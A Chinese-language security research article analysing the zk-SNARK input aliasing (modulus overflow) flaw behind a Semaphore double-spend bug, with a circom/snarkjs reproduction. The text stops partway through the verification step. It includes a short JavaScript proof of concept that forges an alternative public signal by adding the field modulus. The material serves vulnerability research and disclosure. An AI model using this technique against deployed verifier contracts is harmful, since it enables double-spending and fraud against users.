深度剖析零知識證明 zk-SNARK 漏洞：為什麼零知識證明系統並非萬無一失？

2 年前生態安全

本文將深入探討 K-SNARK 的背景，深度部析零知識證明 zk-SNARK 漏洞：輸入假名漏洞是如何被挖掘出來的？

原用標題：Beosin | 深度剖析零知識證明 zk-SNARK 漏洞：為什麼零知識證明系統並非萬無一失？

封面： Photo by Maria Teneva on Unsplash

隨著數位資產和區塊鏈技術的快速發展，數字隱私保護和安全性成為了越來越受關注的話題。在這個背景下，一種名為「零知識證明（Zero-Knowledge Proof）」的技術正在逐漸嶄露頭角。

零知識證明技術可以在不洩露任何資訊的情況下證明某些事情的真實性，被廣泛應用於保護隱私和安全性。其中，基於零知識證明技術的 zk-SNARK 近期備受矚目，成為數位資產和區塊鏈技術領域的熱門話題，但有一些安全問題卻往往被我們忽視。

Beosin 將陸續推出 zk 零知識證明安全研究，第一篇，本文將深入探討 zk-SNARK 的背景，深度剖析零知識證明 zk-SNARK 漏洞：輸入假名漏洞是如何被挖掘出來的？

內容目錄

1. 什么是 zk-SNARK？

zk-SNARK（Zero-Knowledge Succinct Non-Interactive Argument of Knowledge）是一種基於零知識證明的技術，可以在不洩露真實資訊的情況下證明某個聲明的真實性。

它是一種非常高效的零知識證明技術，可以在非常短的時間內生成和驗證證明，同時保護隱私和安全性。
零知識證明專案 Semaphore 上曾經被發現了一個可以導致雙花的輸入假名漏洞，漏洞提出者 poma 給出了兩筆成功的示例交易：

圖源：https://github.com/semaphore-protocol/semaphore/issues/16

該漏洞影響範圍非常廣，不止涉及到眾多知名 zkSNARKs 第三方庫，連眾多 DApp 專案方也不能倖免，本文最後將列舉出各個專案方具體的漏洞代碼以及修復方案，我們先對輸入假名漏洞進行詳細介紹。

2. 漏洞原理

Semaphore 项目允许以太坊用户在不透漏其原始身份的情况下，以某个团队成员的身份发送投票等操作，其中所有的团队成员组成了一棵默克尔树，每个成员是一个叶子结点。合约需要团队成员提供一个零知识证明，以证明其身份的合法性。为了防止身份伪造，每个证明只能使用一次，因此合约中会存储已经验证过的证明列表，如果用户提供了使用过的证明，程序就会报错。具体的实现代码如下：

图源：https://github.com/semaphore-protocol/semaphore/blob/602dd57abb43e48f490e92d7091695d717a63915/semaphorejs/contracts/Semaphore.sol#L83

可以看到，上述代码首先调用 verifyProof 校验零知识证明的合法性，接着通过证明参数 nullifiers_hash 校验该证明是否是初次使用，但由于未对 nullifiers_hash 进行完整的合法性检查，使得攻击者可以伪造出多个证明通过校验，实现双花攻击。具体地说，由于合约变量类型 uint256 能够表示的数值范围远大于零知识证明电路，而此处代码仅考虑了 nullifiers_hash 本身是否已被使用，未限制合约中的 nullifiers_hash 的取值范围，使得攻击者利用密码学中的模运算可以伪造多个证明通过合约校验。因为参数的取值范围涉及到一些零知识证明相关的数学知识，并且采用不同的零知识证明算法对应不同的取值范围，因此后文将详细介绍。

首先如果要在以太坊中生成和验证 zk-SNARK 证明，需要使用 F_p-arithmetic 有限域椭圆曲线电路，其中曲线的一般方程如下：

可以发现曲线上的点都会进行一个模 p 运算，所以电路生成的证明参数 s 值取值范围为 [0,1,…,p-1]，但是链上合约的变量类型 uint256 取值范围为 [0,115792089237316195423570985008687907853269984665640564039457584007913129639935]，那么当合约的变量范围大于电路取值范围时，存在下列多个具有相同输出的证明参数值：

综上，只要知道了其中一个合法的证明参数 s，uint256 范围内的 s+np( n = 1,2,…,n) 都可以满足验证计算，于是攻击者在获取到任意验证通过的 s，即可构造 max(uint256)/p 个 s 都可以通过校验，具体的攻击流程如下：上文可知，参数的取值范围由 p 决定，而不同类型的 F_p 对应不同的 p，需要根据具体使用的零知识算法确定，如：

EIP-196 中定义的 BN254 曲线（也称为 ALT_BN128 曲线）p = 21888242871839275222246405745257275088548364400416034343698204186575808495617

circom2 引入了两个新的素数，即 BLS12-381 曲线 p = 52435875175126190479447740508185965837690552500527637822603658699938581184513

以 ALT_BN128 曲线为例，共计可以生成 5 个不同的证明参数通过验证，计算过程如下：

3. 漏洞复现

由于 Semaphore 项目本身代码已经更改，重新部署整个项目较为繁杂，因此我们使用目前常用的零知识证明编译器 circom 编写 PoC 复现整个攻击过程。为了方便大家更好的理解整个流程，这里我们先以 circom 为例，介绍 Groth16 算法的零知识证明生成和验证过程。图源：https://docs.circom.io/1. 项目方需要设计一个算术电路并使用 circom 语法将其编写为一个电路描述文件 *.circom2. 编译电路文件，并将其转化为 R1CS 的电路描述文件 3. 使用 snarkjs 库根据输入文件 input.json 计算出对应的 witness4. 接着通过可信设置生成一个证明密钥 Proving key 和验证密钥 Validation key，其中 Proving key 用于生成证明 Proof， Validation key 用于验证 Proof，最后用户利用密钥生成对应的零知识证明 Proof5. 验证用户的证明接下来我们将按照上述流程分步进行介绍。

3.1 编写 multiplier2.circom

为了方便大家理解，我们直接使用 circom 官方的 demo，具体代码如下：

pragma circom 2.0.0;template Multiplier2() {    signal input a;    signal input b;    signal output c;    c <== a*b; }
component main = Multiplier2();

该电路中有两个输入信号 a 和 b，一个输出信号 c，并且 c 的值是 a 和 b 相乘的结果

3.2 编译电路

使用下列命令行编译 multiplier2.circom，并将其转化为 R1CS：

circom multiplier2.circom --r1cs --wasm --sym --c

编译后会生成 4 个文件，其中
•–r1cs：生成的 circuit.r1cs 是二进制格式的电路约束文件•–wasm：生成的 multiplier2_js 文件夹包含 wasm 汇编代码，和生成 witness 所需的其他文件目录（generate_witness.js、multiplier2.wasm）•–sym：生成文件夹 multiplier2.sym，是一个符号文件，用于调试或以注释模式打印约束系统•–c：生成文件夹 multiplier2_cpp，包含生成 witness 所需的 c 代码文件
注意：生成 witness 有两种方式，一种是使用 wasm，一种是使用刚生成的 C++代码，如果是大型电路的话使用 C++代码比 wasm 效率更高

3.3 計算 witness

在 multiplier2_js 資料夾下創建 input.json 檔，該檔包含了以標準 json 格式編寫的輸入，此時使用字串而不是數位，是因為 js 不能準確處理大於 2^{53} 的數，針對指定的 input.json 生成對應的 witness：

node generate_witness.js multiplier2.wasm input.json witness.wtns

3.4 可信設置

該步驟主要是選取零知識證明需要的橢圓曲線類型，以及生成一系列原始密鑰*.key 檔，其中 multiplier2_0000.zkey 包含證明密鑰、驗證金鑰，multiplier2_0001.zkey 則是驗證密鑰，最終導出的驗證密鑰檔是 verification_key.json

snarkjs powersoftau new bn128 12 pot12_0000.ptau -vsnarkjs powersoftau contribute pot12_0000.ptau pot12_0001.ptau --name="First contribution" -vsnarkjs powersoftau prepare phase2 pot12_0001.ptau pot12_final.ptau -vsnarkjs groth16 setup multiplier2.r1cs pot12_final.ptau multiplier2_0000.zkeysnarkjs zkey contribute multiplier2_0000.zkey multiplier2_0001.zkey --name="1st Contributor Name" -vsnarkjs zkey export verificationkey multiplier2_0001.zkey verification_key.json

3.5 生成證明

利用 snarkjs 有兩種方式可以生成證明，一種是命令行，一種是腳本生成。由於我們需要構造攻擊向量，所以這裡主要使用腳本生成。

3.5.1 生成正常 publicSignal

snarkjs groth16 prove multiplier2_0001.zkey witness.wtns proof.json public.json

該命令會輸出兩個檔，其中 proof.json 是生成的證明檔，public.json 是公共輸入值。

3.5.2 生成攻擊 publicSignal

async function getProof() {    let inputA = "7"    let inputB = "11"    const { proof, publicSignals } = await snarkjs.groth16.fullProve({ a: inputA, b: inputB }, "Multiplier2.wasm", "multiplier2_0001.zkey")    console.log("Proof: ")    console.log(JSON.stringify(proof, null, 1));
    let q = BigInt("21888242871839275222246405745257275088548364400416034343698204186575808495617")    let originalHash = publicSignals    let attackHash = BigInt(originalHash) + q
    console.log("originalHash: " + publicSignals)    console.log("attackHash: " + attackHash)}

生成的證明 Proof、原始驗證參數 originalHash 和攻擊參數 attackHash 如下圖所示：

3.6 驗證證明

證明的驗證方式同樣也有兩種，一種是使用 snarkjs 庫進行驗證，一種是合約驗證。我們這裡主要使用鏈上合約的驗證方式驗證原始證明參數 originalHash、攻擊證明參數 attackHash。
這裡我們使用 snarkjs 自動生成一個驗證合約 verifier.sol，注意最新版本 0.6.10 的 snarkjs 生成的合約已經修復了這個問題，所以我們使用舊版本生成合約：

snarkjs zkey export solidityverifier multiplier2_0001.zkey verifier.sol

合約關鍵代碼如下：

function verify(uint[] memory input, Proof memory proof) internal view returns (uint) {        VerifyingKey memory vk = verifyingKey();        require(input.length + 1 == vk.IC.length,"verifier-bad-input");        // Compute the linear combination vk_x        Pairing.G1Point memory vk_x = Pairing.G1Point(0, 0);        for (uint i = 0; i < input.length; i++)            vk_x = Pairing.addition(vk_x, Pairing.scalar_mul(vk.IC[i + 1], input[i]));        vk_x = Pairing.addition(vk_x, vk.IC[0]);        if (!Pairing.pairingProd4(            Pairing.negate(proof.A), proof.B,            vk.alfa1, vk.beta2,            vk_x, vk.gamma2,            proof.C, vk.delta2        )) return 1;        return 0;}

此時，使用 originalHash 驗證通過：